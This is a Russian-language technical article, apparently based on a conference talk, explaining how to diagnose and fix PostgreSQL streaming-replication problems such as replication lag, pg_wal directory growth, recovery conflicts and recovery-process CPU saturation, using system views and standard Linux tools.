1. По умолчанию, когда бэкенды делают какие-то изменения в базе (INSERT, UPDATE, DELETE и т.д.), все изменения фиксируются в журнале транзакций **синхронно**:
* Клиент отправил команду COMMIT на подтверждение данных.
* Данные фиксируются в журнале транзакций.
* Как только фиксация произошла, управление отдается бэкенду, и он может дальше принимать команды от клиента.
2. Второй вариант — это **асинхронная запись** в журнал транзакций, когда отдельный выделенный процесс WAL writer с определенным интервалом времени пишет изменения в журнал транзакций. За счет этого достигается увеличение производительности бэкендов, поскольку не нужно ждать, когда завершится команда COMMIT.
Самое важное то, что потоковая репликация основана на этом журнале транзакций. У нас есть несколько участников потоковой репликации:
* мастер, где происходят все изменения;
* несколько реплик, которые принимают журнал транзакций от мастера и воспроизводят все эти изменения на своих локальных данных. Это — потоковая репликация.
Стоит помнить, что все эти журналы транзакций, хранятся в каталоге pg\_xlog в $DATADIR — каталоге с основными файлами данных СУБД. В 10-й версии PostgreSQL этот каталог был переименован в pg\_wal/, потому что нередки случаи когда pg\_xlog/ занимает много места, и разработчики или администраторы, по незнанию путая его с логами, беспечно удаляют и становится все плохо.
В PostgreSQL есть несколько фоновых служб которые задействованы в потоковой репликации. Посмотрим на них с точки зрения операционной системы.
* Со стороны мастера — WAL Sender process. Это процесс, который отправляет журналы транзакций репликам, на каждую реплику будет свой WAL Sender.
* На реплике в свою очередь запущен WAL Receiver process, который по сетевому соединению от WAL Sender принимает журналы транзакций и передает их Startup process.
* Startup process читает журналы и воспроизводит на каталоге с данными все те изменения, которые записаны в журнале транзакций.
Схематично это выглядит примерно так:
* В WAL Buffers записываются изменения, которые потом будут записаны в журнал транзакций;
* Журналы находятся в хранилище (Storage) в каталоге pg\_wal/;
* WAL Sender читает из хранилища журнал транзакций и передает их по сети;
* WAL Receiver принимает и сохраняет у себя в Storage — в локальном для себя pg\_wal/;
* Startup Process читает все, что принято, и воспроизводит.
Схема простая. Потоковая репликация работает довольно надежно и много лет прекрасно эксплуатируется.
Troubleshooting tools
---------------------
Посмотрим, какие средства и утилиты предлагает сообщество и PostgreSQL для того, чтобы расследовать проблемы, возникающие с потоковой репликацией.
### Сторонние инструменты
Начнем со сторонних инструментов. Это утилиты довольно **универсального плана**, ими можно пользоваться не только при расследовании инцидентов, связанных с потоковой репликацией. Это вообще **утилиты любого системного администратора**.
* **top** из пакета procps. В качестве замены top можно использовать любые утилиты типа atop, htop и подобные им. Они предлагают похожую функциональность.
С помощью top смотрим: утилизацию процессоров (CPU), среднюю нагрузку (load average) и использование памяти и области подкачки.
* iostat из пакета sysstat и iotop. Эти утилиты показывают утилизацию дисковых устройств и какое I/O создается процессами в операционной системе.
С помощью iostat смотрим: утилизацию хранилища, сколько iops в данный момент, какая пропускная способность (throughput) на устройствах, какие задержки при обработке запросов на I/O (latency). Эта довольно подробная информация берется из файловой системы procfs и предоставляется пользователю уже в наглядном виде.
* nicstat — это аналог iostat, только для сетевых интерфейсов. В этой утилите можно смотреть утилизацию интерфейсов.
С помощью nicstat смотрим: аналогично — утилизацию интерфейсов, какие-то ошибки, которые возникают на интерфейсах, пропускную способность — тоже очень полезная утилита.
* pgCenter — это утилита для работы только с PostgreSQL. Она показывает статистику PostgreSQL в top-подобном интерфейсе, и в ней также можно смотреть статистику, связанную с потоковой репликацией.
С помощью pgCenter смотрим: статистику по репликации. Можно смотреть лаг репликации, как-то оценивать его, и прогнозировать дальнейшие работы.
* perf — это утилита для более глубокого расследования причин «подземных стуков», когда в эксплуатации происходят непонятные проблемы на уровне кода PostgreSQL.
С помощью perf ищем: подземные стуки. Для полноценной работы perf c PostgreSQL, последний должен быть собран с debug символами, таким образом можно смотреть стек функций в процессах и какие функции занимают больше всего процессорного времени.
Все эти утилиты нужны, чтобы **проверять гипотезы**, возникающие при устранении неполадок — где и что тормозит, где и что нужно исправить, проверить. Эти утилиты помогают удостовериться, на правильном ли мы пути.
### Встроенные средства
Что предлагает сам PostgreSQL?
#### Системные представления
Вообще средств для работы с PostgreSQL довольно много. Каждая компания-вендор, которая предоставляет поддержку PostgreSQL, предлагает свои средства. Но, как правило, эти средства основаны на внутренней статистике PostgreSQL. В этом плане PostgreSQL предоставляет системные представления (views), в которых можно делать различные select’ы и получать нужную информацию. То есть c помощью обычного клиента, как правило psql, мы можем делать запросы и смотреть, что происходит в статистике.
Существует довольно много системных представлений. Для того, чтобы работать с потоковой репликацией и исследовать проблемы, нам нужны лишь: pg\_stat\_replication, pg\_stat\_wal\_receiver, pg\_stat\_databases, pg\_stat\_databases\_conflicts, и вспомогательные pg\_stat\_activitу и pg\_stat\_archiver.
Их немного, но этого набора достаточно, чтобы проверить, нет ли каких-либо проблем.
#### Вспомогательные функции
С помощью вспомогательных функций можно брать данные из статистических системных представлений и преобразовывать их в более удобный для себя вид. Вспомогательных функций тоже всего несколько штук.
* pg\_current\_wal\_lsn() (старый аналог pg\_current\_xlog\_location()) — самая нужная функция, которая позволяет посмотреть текущую позицию в журнале транзакций. Журнал транзакций — это непрерывная последовательность данных. С помощью этой функции можно посмотреть последнюю точку, получить позицию, где сейчас журнал транзакций остановился.
* pg\_last\_wal\_receive\_lsn(), pg\_last\_xlog\_receive\_location() — это аналогичная функция вышеупомянутой, только для реплик. Реплика получает журнал транзакций, и можно посмотреть последнюю полученную позицию журнала транзакций;
* pg\_wal\_lsn\_diff(), pg\_xlog\_location\_diff() — другая полезная функция. Мы передаем ей две позиции из журнала транзакций, и она показывает diff — дистанцию между этими двумя точками в байтах. Эта функция всегда полезна для определения лага между мастером и репликами в байтах.
Полный список функций можно получить psql мета-командой: \df \*(wal|xlog|lsn|location)\*.
Ее можно набрать в psql и посмотреть все функции, которые содержат в себе wal, xlog, Isn, location. Таких функций будет порядка 20-30, и они тоже предоставляют различную информацию по журналу транзакций. Рекомендую ознакомиться.
#### Утилита pg\_waldump
До версии 10.0 она называлась pg\_xlogdump. Утилита pg\_waldump нужна, когда мы хотим заглянуть в сегменты журнала транзакций, узнать какие ресурсные записи туда попали, и что PostgreSQL туда записал, то есть для более детального исследования.
> В версии 10.0 все системные представления, функции и утилиты которые включали в себя слово xlog были переименованы. Все вхождения слов xlog и location были заменены соответственно на слова wal и lsn. Тоже самое было сделано и с каталогом pg\_xlog который стал каталогом pg\_wal.
>
>
Утилита pg\_waldump просто декодирует содержимое XLOG сегментов в человеко-понятный формат. Можно посмотреть, какие так называемые ресурсные записи попадают в процессе работы PostgreSQL в журналы сегмента, какие индексы и heap-файлы были изменены, какая информация, предназначенная для stand-by, туда попала. Таким образом, очень много информации можно смотреть с помощью pg\_waldump.
> Но есть оговорка, которая написана в [официальной документации](https://www.postgresql.org/docs/10/static/pgwaldump.html): pg\_waldump может показывать чуть-чуть неверные данные при работающем PostgreSQL (Can give wrong results when the server is running — что бы это не означало )
Можно воспользоваться командой:
```
pg_waldump -f -р /wal_10 \
$(psql -qAtX -с "select pg_walfile_name(pg_current_wal_lsn())")
```
Это аналог команды tail -f только для журналов транзакций. Эта команда показывает хвост журнала транзакций, которые прямо сейчас происходит. Можно запустить эту команду, она найдет последний сегмент с самой последней записью журнала транзакций, подключится к нему и начнет показывать содержимое журнала транзакций. Немного хитрая команда, но, тем не менее, она работает. Я часто ей пользуюсь.
Troubleshooting cases
---------------------
Здесь мы рассмотрим самые частые проблемы, которые возникают в практике консалтеров, какие могут быть симптомы и как их диагностировать:
**Лаги репликации — это наиболее частая проблема**. Совсем недавно у нас была переписка с заказчиком:
> — *У нас сломалась репликация master-slave между двумя серверами.*
>
>
>
> — Обнаружил лаг 2 часа, запущен pg\_dump.
>
>
>
> — *ОК, понятно. Какой у нас допустимый лаг?*
>
>
>
> — 16 часов в max\_standby\_streaming\_delay.
>
>
>
> *— Что случится, когда этот лаг будет превышен? Взвоет сирена?*
>
>
>
> — Нет, прибьются транзакции, и накатка WAL возобновится.
>
>
Проблемы с лагами репликаций у нас бывают постоянно, и чуть ли не каждую неделю мы их решаем.
**Распухание каталога pg\_wal/**, где хранятся сегменты журнала транзакций — это проблема, которая возникает реже. Но в этом случае необходимо предпринимать немедленные действия, чтобы проблема не превратилась в аварийную ситуацию, когда реплики отваливаются.
**Долгие запросы**, которые выполняются на реплике, приводят к **конфликтам при восстановлении**. Это ситуация, когда мы на реплику пускаем какую-то нагрузку, на репликах можно выполнять читающие запросы, и в этот момент эти запросы мешают воспроизведению журнала транзакций. Возникает конфликт, и PostgreSQL нужно решить, ждать завершение запроса или завершить его и продолжить воспроизведение журнала транзакций. Это конфликт репликации или конфликт восстановления.
**Recovery process: 100% CPU usage** —процесс восстановления журнала транзакций на репликах занимает 100% процессорного времени. Это тоже редкая ситуация, но она довольно неприятная, т.к. приводит к росту лага репликации и в целом её сложно расследовать.
### Лаги репликации
Лаги репликации — это когда один и тот же запрос, выполненный на мастере и на реплике, возвращает разные данные. Это значит, что данные неконсистентны между мастером и репликами, и есть какое-то отставание. Реплике нужно воспроизвести часть журналов транзакций, чтобы догнать мастера. Основной симптом выглядит именно так: есть запрос, и они возвращают разные результаты.
**Как искать такие проблемы?**
* Есть основное представление на мастере и на репликах — **pg\_stat\_replication**. Оно показывает информацию по всем WAL Sender, то есть по процессам, которые занимаются отправкой журнала транзакций. Для каждой реплики будет отдельная строчка, которая показывает статистику именно по этой реплике.
* Вспомогательная функция **pg\_wal\_lsn\_diff()** позволяет сравнивать разные позиции в журнале транзакций и вычислять тот самый лаг. С её помощью мы можем получить конкретные цифры и определить, где у нас большой лаг, где маленький и уже как-то отреагировать на проблему.
* Функция **pg\_last\_xact\_replay\_timestamp()** работает только на реплике и позволяет посмотреть время, когда была выполнена последняя проигранная транзакция. Есть всем известная функция now(), которая показывает текущее время, мы из функции now() вычитаем время, которое нам показывается функцией pg\_last\_xact\_replay\_timestamp() и получаем лаг во времени.
В 10 версии pg\_stat\_replication появились дополнительные поля, которые показывают временной лаг уже на мастере, поэтому этот способ уже устаревший, но, тем не менее, его можно использовать.
Есть небольшой подводный камень. Если на мастере долгое время нет транзакций, и он не генерирует журналы транзакций, то последняя функция будет показывать увеличивающийся лаг. На самом деле система просто простаивает, на ней нет никакой активности, но в мониторинге мы можем увидеть, что лаг растет. Про этот подводный камень стоит помнить.
Представление выглядит следующим образом.
Оно содержит информацию по каждому WAL Sender и несколько важных для нас полей. Это в первую очередь **client\_addr** — сетевой адрес подключенной реплики (как правило, IP адрес) и набор полей **lsn** (в старых версиях он называется location), про них я расскажу чуть дальше.
В 10-й версии появились поля **lag** — это отставание, выраженное во времени, то есть более человеко-понятный формат. Лаг может выражаться либо в байтах, либо во времени — можно выбрать, что больше нравится.
Как правило, я пользуюсь таким запросом.
Это не самый сложный запрос, который выводит pg\_stat\_replication в более удобном, понятном формате. Здесь я использую следующие функции:
* **pg\_wal\_lsn\_diff()**, чтобы считать diff’ы. Но между чем я считаю diff’ы? У нас есть несколько полей — sent\_lsn, write\_lsn, flush\_lsn, replay\_lsn. Высчитывая diff между текущим и предыдущим полем, мы можем точно понять, где у нас произошло отставание, где конкретно происходит лаг.
* **pg\_current\_wal\_lsn()**, которая показывает текущую позицию журнала транзакций. Здесь мы смотрим расстояние между текущей позицией в журнале и отправленной — сколько журналов транзакций сгенерировано, но не отправлено.
* **sent\_lsn**, **write\_lsn** — это сколько отправлено реплике, но не записано. То есть это то, что сейчас находится где-то в сети, либо оно получено репликой, но еще не записано из сетевых буферов на дисковое хранилище.
* **write\_lsn, flush\_lsn** — это записано, но не было выпущено командой fsync — как бы записано, но может находиться где-нибудь в оперативной памяти, в page-cache операционной системы. Как только мы делаем fsync, данные синхронизируются с диском, попадают на персистентное хранилище и вроде бы все надежно.
* **replay\_lsn, flush\_lsn** — данные сброшены, выполнен fsync, но не воспроизведены репликой.
* **current\_wal\_lsn** и **replay\_lsn** — это некий суммарный лаг, который включает в себя все предыдущие позиции.
#### **Немного примеров**
Выше цветом выделена реплика 10.6.6.8. У нее **pending-лаг**, она нагенерировала какие-то журналы транзакций, но они все еще не отправлены и лежат на мастере. Вероятнее всего, здесь какая-то проблема с сетевой производительностью. Мы будем это проверять с помощью утилиты nicstat.
Мы запустим nicstat, посмотрим утилизацию интерфейсов, нет ли там проблем и ошибок. Так мы сможем проверить эту гипотезу.
Выше отмечен **write лаг**. На самом деле этот лаг довольно редкий, я практически не вижу, чтобы он был большим. Проблема может быть с дисками, и мы используем утилиту iostat или iotop — смотрим утилизацию дисковых хранилищ, какой I/O создается процессами, и дальше уже выясняем, почему.
**Flush и replay Лаги** — чаще всего лаг бывает именно там, когда дисковое устройство на реплике не успевает просто проиграть все те изменения, которые прилетают с мастера.
Также утилитами iostat и iotop мы смотрим, что происходит с дисковой утилизацией и почему тормоза.
И последний **total\_lag** — полезная метрика для систем мониторинга. Если у нас порог total\_lag превышен, в мониторинге поднимается флажок, и мы начинаем расследовать, что же там происходит.
#### **Проверка гипотезы**
Теперь нужно разобраться, как дальше исследовать ту или иную проблему. Я уже сказал, если это сетевой лаг, то нужно проверить, все ли у нас в порядке с сетью.
Сейчас практически все хостеры предоставляют 1 Гб/с или даже 10 Гб/с, поэтому **забитая полоса пропускания — это самый маловероятный сценарий**. Как правило, нужно смотреть на ошибки. nicstat содержит информацию по ошибкам на интерфейсах, можно разобраться, что там — проблемы с драйверами, либо с самой сетевой картой, либо с кабелями.
**Проблемы в хранилище** мы исследуем с помощью iostat и iotop. iostat нужен для просмотра общей картины, связанной с дисковыми хранилищами: утилизация устройств, пропускная способность устройств, latency. iotop — для более точных исследований, когда нам нужно выявить, какой из процессов грузит дисковую подсистему. Если это какой-то сторонний процесс, его можно просто обнаружить, завершить и, возможно, проблема исчезнет.
**Задержки восстановления и конфликты репликации** мы прежде всего смотрим через top или pg\_stat\_activity: какие процессы запущены, какие запросы работают, время их выполнения, как долго они работают. Если это какие-то долгие запросы, мы смотрим, почему они долго работают, отстреливаем их, разбираемся и **оптимизируем их** — исследуем уже сами запросы.
Если это **большой объем журналов транзакций**, который генерируется мастером, мы можем это обнаружить по **pg\_stat\_activity**. Может быть, там какие-то бэкапные процессы запущены, запущены какие-то вакуумы (pg\_stat\_progress\_vacuum), либо выполняется checkpoint. То есть если генерируется слишком большой объем журналов транзакций, и реплика просто не успевает его обработать, в какой-то момент она может просто отвалиться, и это будет уже проблемой для нас.
И конечно **pg\_wal\_lsn\_diff()** для определения лага и определения, где у нас конкретно лаг находится — в сети, на дисках, либо на процессорах.
#### **Варианты решения**
**Проблемы на уровне сети/хранения**
Тут довольно все просто, но с точки зрения конфигурации это, как правило, не решается. Можно подкрутить некоторые гайки, но в целом есть 2 варианта:
* Проверить workload
Проверяем какие выполняются запросы. Может быть, запущены какие-то миграции, которые генерируют много журналов транзакций, либо это может быть перенос, удаление или вставка данных. **Любой процесс, который генерирует журналы транзакций, может приводить к лагу транзакций**. Все данные на мастере генерируются как можно быстрее, мы внесли изменение данных, отправили на реплику, а справится реплика или не справится — это уже мастера не волнует. Здесь может появиться лаг и нужно что-то с ним делать.
* Upgrade hardware
Самый тупой вариант — возможно, мы уперлись в производительность железа, и нужно его просто менять. Это могут быть старые диски либо некачественные SSD, либо затык в производительности RAID контроллера. Здесь мы исследуем уже не саму базу, а проверяем производительность наших железок.
**Задержки восстановления**
Если у нас возникли какие-то конфликты репликации из-за долгих запросов в результате чего увеличивается replay lag, мы **первым делом отстреливаем долгие запросы**, которые работают на реплике, потому что они задерживают воспроизведение журналов транзакций.
Если долгие запросы связаны с неоптимальностью самого SQL запроса (выясняем это с помощью EXPLAIN ANALYZE), нужно просто подходить по-другому к этому запросу и переписывать его. Либо есть вариант настройки **отдельной реплики для отчетных запросов**. Если мы делаем какие-то отчеты, которые долго работают, их нужно выносить на отдельную реплику.
Еще остается вариант **просто ждать**. Если у нас какой-то лаг на уровне нескольких килобайт или даже десятков мегабайт, но мы считаем, что это приемлемо, мы просто ждем, когда запрос выполнится и лаг сам рассосется. Это тоже вариант, и часто бывает, что он приемлем.
**Большой объем WAL**
Если мы генерируем большой объем журнала транзакций, нужно уменьшить этот **объем в единицу времени**, сделать так, чтобы реплике было нужно прожевывать меньше журналов транзакций.
Как правило, это делается **с помощью конфигурации**. Частичное решение в задании параметра full\_page\_writes = off. Этот параметр выключает/выключает запись полных образов изменяющихся страниц в журнал транзакций. Это означает, что, когда у нас произошла служебная операция записи контрольной точки (CHECKPOINT), при последующем изменении какого-то блока данных в области shared buffers, в журнал транзакций уйдет полный образ этой страницы, а не только само изменение. При всех последующих изменениях этой же самой страницы, в журнал транзакций будут попадать только изменения. И так до следующей контрольной точки.
После чекпоинта мы записываем полный образ страницы, и это сказывается на объеме записываемого журнала транзакций. Если чекпоинтов в единицу времени довольно много, допустим, в час делается 4 чекпоинта, и полных образов страниц будет записываться тоже очень много, это будет проблемой. Можно отключить запись полных образов и это скажется на объеме WAL. Но опять же это полумера.
*Примечание: К рекомендации отключения full\_page\_writes, стоит отнестись вдумчиво, так как автор в ходе доклада забыл уточнить, что отключение параметра может, при некотором стечение обстоятельств в аварийных ситуациях (повреждение файловой системы или ее журнала, частичная запись в блоки и т.п.) потенциально привести к повреждению файлов базы данных. Поэтому будьте внимательны, отключение параметра может увеличить риск повреждения данных в аварийных ситуациях.*
Другая полумера — это **увеличить интервал между чекпоинтами**. По умолчанию чекпоинт делается каждые 5 минут, и это довольно часто. Как правило, этот интервал увеличивают до 30–60 минут — это вполне приемлемое время, за которое все грязные страницы успевают стать синхронизированными на диск.
Но основной вариант решения — это, конечно же, **посмотреть наш workload** — какие там сейчас идут тяжелые операции, связанные с изменением данных, и, возможно, постараться эти операции по изменению делать пачками.
Допустим, у нас есть таблица, мы хотим удалить из нее несколько миллионов записей. Оптимальным вариантом будет не удалять эти миллионы разом одним запросом, а разбить их на пачки по 100–200 тысяч, чтобы, во-первых, генерировались небольшие объемы WAL, во-вторых, vacuum успевал проходить по удаленным данным, и следовательно лаг не был таким большим и критичным.
### Распухание pg\_wal/
Теперь, давайте поговорим, как можно обнаружить, что распух каталог pg\_wal/.
По идее PostgreSQL всегда поддерживает его в оптимальном для себя состоянии на уровне определенных файлов конфигурации, и, как правило, он не должен расти выше определенных пределов.
Есть параметр max\_wal\_size, который определяет максимальное значение. Плюс есть параметр wal\_keep\_segments — дополнительное количество сегментов, которые мастер хранит для реплики, если вдруг реплика недоступна продолжительное время.
Посчитав сумму max\_wal\_size и wal\_keep\_segments, мы можем примерно оценить, сколько места будет занимать каталог pg\_wal/. Если он быстро растет и занимает гораздо больше места, чем рассчитанное значение, это значит, что есть какая-то проблема, и нужно с этим что-то делать.
#### Как обнаружить такие проблемы?
В операционной системе Linux есть команда **du -csh**. Мы можем просто в мониторинг загнать значение и смотреть, сколько у нас там журналов транзакций; держать посчитанную метку, сколько он должен и сколько он по факту занимает, и как-то реагировать на изменение цифр.
Другое место, где мы смотрим, это представления **pg\_replication\_slots** и **pg\_stat\_archiver**. Наиболее частыми причинами, почему pg\_wal/ занимает много места являются забытые слоты репликации или сломанная архивация. Другие причины также имеют место быть, но на моей практике встречались очень редко.
И, конечно же, всегда бывают ошибки в логах PostgreSQL, связанные именно с архивной командой. Других причин, которые связаны с переполнением pg\_wal/, там, к сожалению, не будет. Мы можем там отловить только ошибки архивации.
#### Варианты проблем:
**Тяжелый CRUD** — тяжелые операции обновления данных — тяжелые INSERT, DELETE, UPDATE, связанные с изменением нескольких миллионов строк. Если PostgreSQL нужно сделать такую операцию, понятно, что будет генерироваться большой объем журнала транзакций. Он будет храниться в pg\_wal/, и это приведет к увеличению занимаемого места. То есть опять же, как я сказал раньше, хорошей практикой является просто разбивать их на пачки, и делать обновление не всего массива, а по 100, 200, 300 тысяч.
**Забытый или неиспользуемый слот репликации** — другая частая проблема. Люди часто используют логическую репликацию для каких-то своих задач: настраивают шины, которые отправляют данные в Kafka, отправляют данные в стороннее приложение, которое делает декодинг логической репликации в другой формат и как-то их обрабатывают. **Логическая репликация, как правило, работает через слоты**. Бывает так, что мы настроили слот репликации, поигрались с приложением, поняли, что нам это приложение не подходит, выключили приложение, удалили, **а слоты репликации продолжают жить**.
PostgreSQL для каждого слота репликации сохраняет сегменты журнала транзакций на случай, если удаленное приложение или реплика снова подключатся к этому слоту, и тогда мастер сможет ему эти журналы транзакций отдать.
Но идет время, к слоту никто не подключается, журналы транзакций копятся, и в какой-то момент занимают 90% места. Нужно выяснять, что же там такое, почему занято так много места. Как правило, этот забытый и неиспользуемый слот нужно просто удалить, и проблема будет решена. Но об этом чуть дальше.
Другим вариантом может быть **сломанная archive\_command**. Когда у нас есть какое-то внешнее хранилище журналов транзакций, которое мы держим для задач аварийного восстановления, обычно настраивается архивная команда, реже настраивается pg\_receivexlog. Команда прописанная в аrchive\_command — это очень часто, либо отдельная команда, либо какой-то скрипт, который берет сегменты журнала транзакций из pg\_wal/ и копирует в архивное хранилище.
Бывает так, что провели какой-то апгрейд системных пакетов, допустим, в rsync версия поменялась, флаги обновились или изменились, либо в какой-то другой команде, которая использовалась в архивной команде, тоже поменялся формат — и скрипт или сама программа которая указана в archive\_command ломается. Следовательно архивы перестают копироваться.
Если архивная команда отработала с выходом не 0, то в лог запишется сообщение об этом, а сегмент останется в каталоге pg\_wal/. **Пока мы не обнаружим, что у нас архивная команда сломалась, сегменты будут копиться**, и место также в какой-то момент закончится.
**Набор экстренных мер (100% used space):**
1. **Отстрелить все долгие CRUD запросы**, которые выполняются на данный момент на мастере — pg\_terminate\_backend().
Это могут быть какие-то копии запросов, выполняющиеся бэкапы, апдейты, которые обновляют миллион строк и т.д. Первым делом нам нужно отстрелить эти запросы, чтобы предотвратить дальнейший рост каталога pg\_wal/, чтобы новые сегменты не генерировались.
2. **Уменьшить так называемое резервируемое место** для файлов пользователя root — reserved space ratio (ext filesystems).
Это относится к файловым системам семейства ext и по умолчанию файловая система ext создается с резервным местом 5%. Представьте себе, что у вас файловая система на несколько сотен гигабайт, и 5% — довольно значительно. Поэтому, когда мы видим, что у нас остался 1% свободного места, мы быстро делаем команду tune2fs -m 1. Резервное место сразу становится доступным пользователю PostgreSQL и появляется время для того, чтобы исследовать проблему дальше. Таким образом есть мы откладываем 100% лимит заполненности на некоторое время.
3. **Добавить еще места** (LVM, ZFS,...).
В случае использования LVM или ZFS, когда администратор резервирует свободное место в пуле LVM или ZFS, он может из этого резервного пула выделить свободное дополнительное место на том, где лежит база, и опять же с помощью команды файловой системы растянуть файловую систему. Таким методом можно экстренно отреагировать на то, что место заканчивается.
4. И самое главное — **НИКОГДА, НИЧЕГО, HE УДАЛЯТЬ РУКАМИ ИЗ pg\_wal/**.
Об этом говорят все постгресисты на всех конференциях и докладах, но люди все равно удаляют, удаляют и удаляют, а базы ломаются. Никогда ничего оттуда удалять нельзя! PostgreSQL сам оттуда периодически удаляет файлы, когда считает нужным. У него есть свои функции, свои алгоритмы, он сам определяет, когда это нужно сделать.
Кстати, pg\_xlog/ переименовали в pg\_wal/ именно по той причине — слово log сбивает с толку администраторов, и они думают, что, наверное, там какие-то ненужный логи — удалим их!
#### Что делать дальше
После того, как мы приняли экстренные меры и отложили наступление 100% заполнение CPU, можно перейти к устранению источников проблем.
Сначала нужно **проверить workload и миграции**. Что у нас там, что команда разработки запустила на этот раз? Может быть, они там хотели обновить какие-то данные, сделать загрузку данных или еще что-то. И на основании этого уже можно принимать архитектурное решение: добавить дополнительный диск, добавить новый tablespace, перенести данные между tablespace.
Дальше проверяем **состояние репликации**. Если у нас сгенерировалось много журналов транзакций, вполне вероятно, что мог образоваться лаг, и если образовался лаг, то, вполне возможно, что реплика не успела прожевать все журналы транзакций и могла попросту отвалиться. **Нужно проверить реплики — все ли с ними в порядке.**
Дальше нужно **проверить настройки checkpoints\_segments/max\_wal\_size, wal\_keep\_segments**. Вполне возможно, что при конфигурации система, были выбраны слишком большие значения — 10-20 тысяч для wal\_keep\_segments, либо десятки гигабайт для max\_wal\_size. Может быть, есть смысл пересмотреть эти настройки и уменьшить их. Тогда PostgreSQL необходимые сегменты просто удалит и каталог pg\_wal/ станет меньше.
Нужно **проверить слоты репликации** через представление pg\_replication\_slots — нет ли там неактивных слотов. Если они есть, то нужно **проверить подписчика**, который должен быть подписан на этот слот — все ли с ним в порядке. Если подписчика нет, он был давно удален, нужно слот просто удалить. Тогда проблема легко решается.
Если ошибки связаны с архивированием WAL, мы можем посмотреть эти ошибки в логе, либо **посмотреть счетчик ошибок в pg\_stat\_archiver**, там все это есть. Конечно, нужно **починить архивную команду**, разобраться, почему она не работает, и архивация не происходит.
После всех мер **желательно вызывать команду checkpoint**. Именно в этой команде зашита функция определения, какие сегменты журнала транзакций уже не нужны постгресу, и он может их спокойно удалить. Подчеркиваю, PostgreSQL сам определяет эти сегменты и сам их удаляет. **Ничего не удаляем руками, только через команду checkpoint**.
### Долгие запросы и конфликты при восстановлении
Как я уже говорил, конфликты при восстановлении, конфликты репликации — это когда выполняющийся запрос на реплике выполняется долго. Он запросил какие-то данные и в этот момент с мастера прилетает изменение этих же самых данных, и репликация входит в конфликт с запросом. И вроде бы запрос нужно продолжить, но и эти данные на реплике тоже нужно изменить.
**Основные симптомы** — ошибки в логах PostgreSQL или приложения:
* User was holding shared bufer pin for too long.
* User query might have needed to see row versions that must be removed.
* User was holding a relation lock for too long.
* User was or might have been using table space that must be dropped.
* User transaction caused bufer deadlock with recovery.
* User was connected to a database that must be dropped.
Первые 2 пункта — это наиболее частые причины, когда запрос идет именно на те данные, которые должны быть обновлены по репликации. Происходит следующий сценарий: есть параметр, который определяет задержку, которая будет отсчитываться при обнаружении конфликта. Как только эта задержка превысила заданный порог (по умолчанию 30 с), то **PostgreSQL завершает запрос и репликация продолжает восстанавливать данные** — все супер.
Следующая проблема возникает реже. Как правило, она связана с тем, что репликация с мастера передаёт некоторую информацию о блокировках на мастере в реплику. Если выполняющиеся запросы как-то конфликтуют с этими блокировками, то запрос также через timeout отстреливается и возникает эта ошибка. Такое бывает на миграциях — когда мы делаем ALTER, добавляем индексы в таблицы, такая ошибка может возникать.
Следующие ошибки возникают еще реже. Они обычно связаны с тем, что tablespace или база удалена на мастере, а запрос был запущен и работал с данными этой базы или tablespace. Это возникает редко, и обычно все знают, когда кто-то удаляет базу — мне так кажется.
#### **Как обнаружить?**
Для обнаружения у нас есть представления **pg\_stat\_databases, pg\_stat\_databases\_conflicts**. В этих представлениях у нас есть информация о конфликтах, и их нужно мониторить. Если у нас есть конфликты, мы начинаем разбираться дальше.
Это **действительно становится проблемой**, если запросы отстреливаются по конфликту репликации **очень часто**. Мы считаем, что запросы очень важны нашим пользователям. Пользователи начинают страдать, и это уже проблема. Либо, когда возникает большой лаг репликации вследствие того, что запрос держит репликацию, и это тоже проблема.
#### **Что делать?**
Есть несколько вариантов, но все они — выбор наименьшего из зол:
1. **Увеличить max\_standby\_streaming\_delay** (риск лага репликации). Это именно та самая задержка, которая будет отсчитываться при обнаружении конфликта репликации. Тем самым мы **увеличиваем риск лага репликации**.
2. **Включить hot\_staпdby\_feedback** (риск распухания таблиц/индексов). Это вариант, когда vacuum нужно почистить какие-то строки, но эти строки пользуются транзакцией на реплике. В этом случае есть **риск bloat таблицы индексов**. Это тоже одно из зол, которое нужно либо принять, либо понять, нужно включать hot\_staпdby\_feedback или нет.
3. Самый просто вариант для DBA и непростой для разработчика — это **переписать долгие запросы**. Нужно проверить **все запросы**, которые выполняются на реплике. Может быть, они написаны не оптимально, для них нет соответствующих индексов, и можно как-то их переписать и пересмотреть, добавить индексы.
4. Последний вариант, который, как правило, устраивает и разработчика, и DBA — это **настроить выделенную реплику для долгих запросов**, например, для отчетных. В таком случае max\_standby\_streaming\_delay задирается максимально. Такая реплика может выполнять долгие отчетные запросы, которые работают часами. При этом она может накапливать лаг, но то, что эта реплика отстает, всех устраивает. Это **компромиссный для всех вариант** — и отчетные запросы работают, и лаг никому не мешает.
Recovery process: 100% CPU usage
--------------------------------
Бывает так, что процесс, который накатывает журнал транзакций, **использует 100% ресурсов одного ядра**. Он однопоточный, сидит только на одном ядре процессора, и полностью утилизирует его на 100%. Как правило, если посмотреть в pg\_stat\_replication, можно увидеть, что там большой лаг replay, то есть очень много данных нужно воспроизвести, и реплика не успевает.
**Обнаруживаем** это через:
* **top** — это очень быстро и легко проверяется — вы просто увидите 100% CPU usage на recovery process;
* **pg\_stat\_replication** — в мониторинге, если он настроен, мы это все быстро увидим.
#### **Что и как искать**
Это одна из самых нетривиальных проблем, алгоритмов поиска не сформировано. Как правило, мы прибегаем к использованию утилит:
* perf top/record/report (требуются debug—пакеты);
* GDB;
* Реже pg\_waldump.
Нужно посмотреть, какой стек функций, и где функции тратят больше всего времени. Типичным примером может быть workload, связанный с **созданием и удалением временных либо обычных таблиц на мастере**. Такое бывает, и чтобы удалить таблицу, PostgreSQL нужно просканировать все имеющиеся shared buffers и ссылки на эту таблицу удалить (очень упрощенно). Это довольно трудоемкая операция при воспроизведении журнала транзакций.
#### **Решение**
Как решать такие проблемы, тоже не всегда очевидно и **зависит от результатов расследования**. Где-то можно поменять workload, что-то поправить, где-то нужно написать патч разработчикам: «Я поковырялся в исходном коде и обнаружил, что то-то не оптимально».
Это можно писать в списках рассылки [pgsql-hackers](https://www.postgresql.org/list/pgsql-hackers/), [pgsql-bugs](https://www.postgresql.org/list/pgsql-bugs/), постить и ждать, когда разработчики отреагируют. К счастью, обычно это происходит быстро.
Но еще раз повторюсь — **каких-то гарантированных решений здесь, к сожалению, нет**.
Итоги
-----
**Проблемы потоковой репликации всегда распределены между хостами**. Это значит, что причины проблем нужно искать на нескольких узлах и быть готовым к тому, что это распределенная проблема, которая находится не на одном узле.
**Источниками проблем часто бывает пользовательская нагрузка**. Я имею в виду, что, как правило, источником проблем являются запросы, которые генерирует приложение, и реже — оборудование.
